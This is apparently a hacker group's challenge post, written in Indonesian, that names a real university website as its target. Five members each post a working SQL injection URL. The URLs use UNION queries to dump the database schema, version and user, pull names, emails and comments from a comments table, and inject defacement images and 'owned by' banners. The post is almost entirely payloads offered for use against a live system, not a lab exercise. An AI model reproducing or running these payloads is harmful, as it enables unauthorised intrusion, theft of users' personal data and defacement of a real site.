*#chall*
site: http://childhoodstoday.group.shef.ac.uk
level: gabut
rules:
- print pict & nick
- dump records dri salah satu field
- no comment (
    --
    --+-
    -- -
    ;%00
    %23
  ) dan comment lainnya
- send query pm

solver:
- @⁨~Binsar DJ⁩
- @⁨+62 895-3691-61594⁩
- ⁨@Defri Indra M⁩

query:

- @~Binsar DJ
http://childhoodstoday.group.shef.ac.uk/article.php?id=.96%27%20union%20select%201,%22Binsar%20Dj%22,0x3C696D67207372633D2768747470733A2F2F656E637279707465642D74626E302E677374617469632E636F6D2F696D616765733F713D74626E253341414E64394763533636745646755137756464785873706C75476238396D6533764A7A702D584D5F7A33334F54662D42774B5262705F503834272077696474683D22323030223E,4,(select%20group_concat(keywords)%20from%20articles),6,7,8,9,10,11,12,13,14,%2715

- @⁨+62 895-3691-61594⁩
http://childhoodstoday.group.shef.ac.uk/article.php?id=.8%27+union+Select+1,2,concat_ws(%27%3Cimg%20src=%22https://garudatersakti72.id/img/ozan.gif%22%3E%27,%27%3Cbr%3E%27,%27Inject%20By%20Camong%20Gans%27,schema(),version(),user(),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)),4,make_set(6,@:=0x0a,(select(1)from(articles)where@:=make_set(511,@,0x3c6c693e,authors)),@),6,7,8,9,10,11,12,13,14,15%27

- @⁨Defri Indra M⁩
http://childhoodstoday.group.shef.ac.uk/journal.php?id=33' and 0 union select 1,2,3,4,concat(0x3c6831207374796c653d22636f6c6f723a7265643b666f6e742d73697a653a343870783b746578742d616c69676e3a63656e746572223e47726579583c2f68313e,0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f7777772e6e696365706e672e636f6d2f706e672f66756c6c2f352d35313238345f636f6f6c2d616e696d652d706e672d616e696d652d6769726c2d6472696e6b696e672d636f666665652e706e67222077696474683d2232303022206865696768743d22333030223e3c2f63656e7465723e,0x3c62723e,"version : ",version(),0x3c62723e,"Database : ",schema(),0x3c62723e,"<h4>Dios</h4>",(select group_concat("<br>",table_name,"::",column_name) from information_schema.columns where table_schema=schema()),"<h3>Dumped data:</h3>","<table><thead><th>Name</th><th>Email</th><th>Comment</th></thead><tbody>",(select group_concat("<tr><td>",name,"</td><td>",email,"</td><td>",comment,"</td></tr>") from comments),"</tbody><table>"),6 or '.1

- @danielfrds
http://childhoodstoday.group.shef.ac.uk/article.php?id=.8%27+union+Select+1,%27%3Cimg%20src=http://garudatersakti72.id/img/gt72.png%3E%27,concat_ws(%27%3Cbr%3E%27,0x4f776e656420627920544e3732,%27Database%20::%20%27,schema(),%27Version%20::%20%27,version(),%27User%20::%20%27,user(),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)),4,make_set(6,@:=0x0a,(select(1)from(articles)where@:=make_set(511,@,0x3c6c693e,authors)),@),6,7,8,9,10,11,12,13,14,15%27

- @Mayat 2.7.15
http://childhoodstoday.group.shef.ac.uk/article.php?id=-8%27union%20select%201,2,%27%3Cimg%20src=https://i.ibb.co/6rxBZVZ/X-Rpl-1-20191019-221523.jpg%20width=50%%20height=50%%3E%3Cbr%3E%3Cfont%20size=100%3EMayat%20gans%3C/font%3E%27,4,(SELECT(@x)FROM(SELECT(@x:=0x00)%20,(SELECT(@x)FROM(comments)WHERE(@x)IN(@x:=CONCAT(0x20,@x,name,0x3c62723e,email,0x3c62723e,comment%20,0x3c68723e))))x),6,7,8,9,10,11,12,13,14,15%27